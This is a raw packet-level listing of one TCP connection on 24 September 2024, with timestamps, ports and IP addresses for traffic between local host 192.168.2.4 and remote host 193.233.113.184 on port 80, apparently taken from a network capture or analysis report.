Sep 24, 2024 21:30:12.104038000 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.104048014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.104072094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.104091883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.104662895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.104713917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.104717970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.104751110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.104764938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.104792118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.104835987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.104868889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.104885101 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.104902983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.104913950 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.104938030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.104948997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.104984045 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105056047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105091095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105104923 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105124950 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105135918 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105159044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105171919 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105202913 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105252028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105288029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105298042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105323076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105349064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105355978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105386972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105406046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105407953 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105437994 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105457067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105470896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105477095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105504990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105516911 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105549097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105556965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105592012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105602026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105624914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105637074 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105663061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105665922 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105691910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.105705976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.105737925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.106583118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.106631041 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.106645107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.106678963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.106703997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.106723070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.106729031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.106775999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.106777906 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.106827021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.106827974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.106862068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.106872082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.106895924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.106909990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.106939077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.195478916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.195516109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.195560932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.195573092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.195585966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.195607901 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.195617914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.195641994 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.195652008 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.195677042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.195697069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.195719957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.195727110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.195765972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.195774078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.195806980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.195817947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.195842028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.195853949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.195874929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.195885897 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.195914030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.195916891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.195960999 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196022987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196057081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196073055 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196094990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196115017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196125031 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196156025 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196160078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196165085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196194887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196197987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196224928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196242094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196269989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196337938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196372032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196387053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196405888 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196435928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196466923 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196496964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196532011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196543932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196577072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196649075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196681023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196696043 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196715117 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196729898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196751118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196763039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196835041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196842909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196867943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196878910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196904898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196916103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196940899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.196954012 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.196985006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.197366953 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.197417974 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.197423935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.197457075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.197463036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.197499990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.197542906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.197576046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.197591066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.197609901 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.197629929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.197644949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.197664976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.197689056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.197710991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.197756052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.198396921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.198429108 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.198457003 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.198465109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.198476076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.198501110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.198512077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.198544025 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.198575020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.198609114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.198621035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.198651075 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.198721886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.198755026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.198769093 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.198791027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.198801994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.198824883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.198833942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.198862076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.198868036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.198906898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199023008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199054956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199069977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199090958 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199111938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199140072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199196100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199229956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199243069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199264050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199270964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199300051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199316978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199346066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199434996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199467897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199481964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199502945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199508905 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199548006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199630022 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199664116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199677944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199696064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199703932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199728966 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199737072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199764967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199773073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199809074 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199876070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199908972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199925900 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199942112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.199954987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.199992895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.200258017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.200304985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.200310946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.200345039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.200357914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.200383902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.200393915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.200428009 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.200443983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.200462103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.200472116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.200499058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.200505018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.200535059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.200544119 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.200573921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.200587034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.200618982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.200633049 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.200653076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.200659037 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.200695038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.200751066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.200783968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.200798035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.200819016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.200824022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.200855017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.200861931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.200897932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201150894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201201916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201204062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201236010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201244116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201287985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201318026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201350927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201369047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201395988 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201479912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201528072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201529980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201565027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201570988 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201597929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201606989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201632023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201639891 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201666117 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201678991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201703072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201715946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201736927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201741934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201770067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201781034 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201806068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201822996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201834917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.201848984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.201877117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.202313900 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.202366114 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.202368975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.202402115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.202415943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.202442884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.202514887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.202547073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.202563047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.202579975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.202591896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.202615023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.202624083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.202650070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.202661037 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.202692986 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.202775955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.202809095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.202826023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.202841997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.202852964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.202876091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.202887058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.202910900 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.202923059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.202945948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.202954054 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.202995062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.203198910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.203227997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.203247070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.203262091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.203277111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.203314066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.203315020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.203349113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.203363895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.203397989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.203401089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.203445911 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.203450918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.203496933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.203577042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.203623056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.283976078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284023046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284080029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284115076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284122944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.284148932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284152031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.284203053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.284204960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284240007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284255028 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.284288883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.284291029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284324884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284343958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.284358025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284379005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.284385920 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284394979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.284420013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284430027 CEST	49730	80	192.168.2.4	193.233.113.184
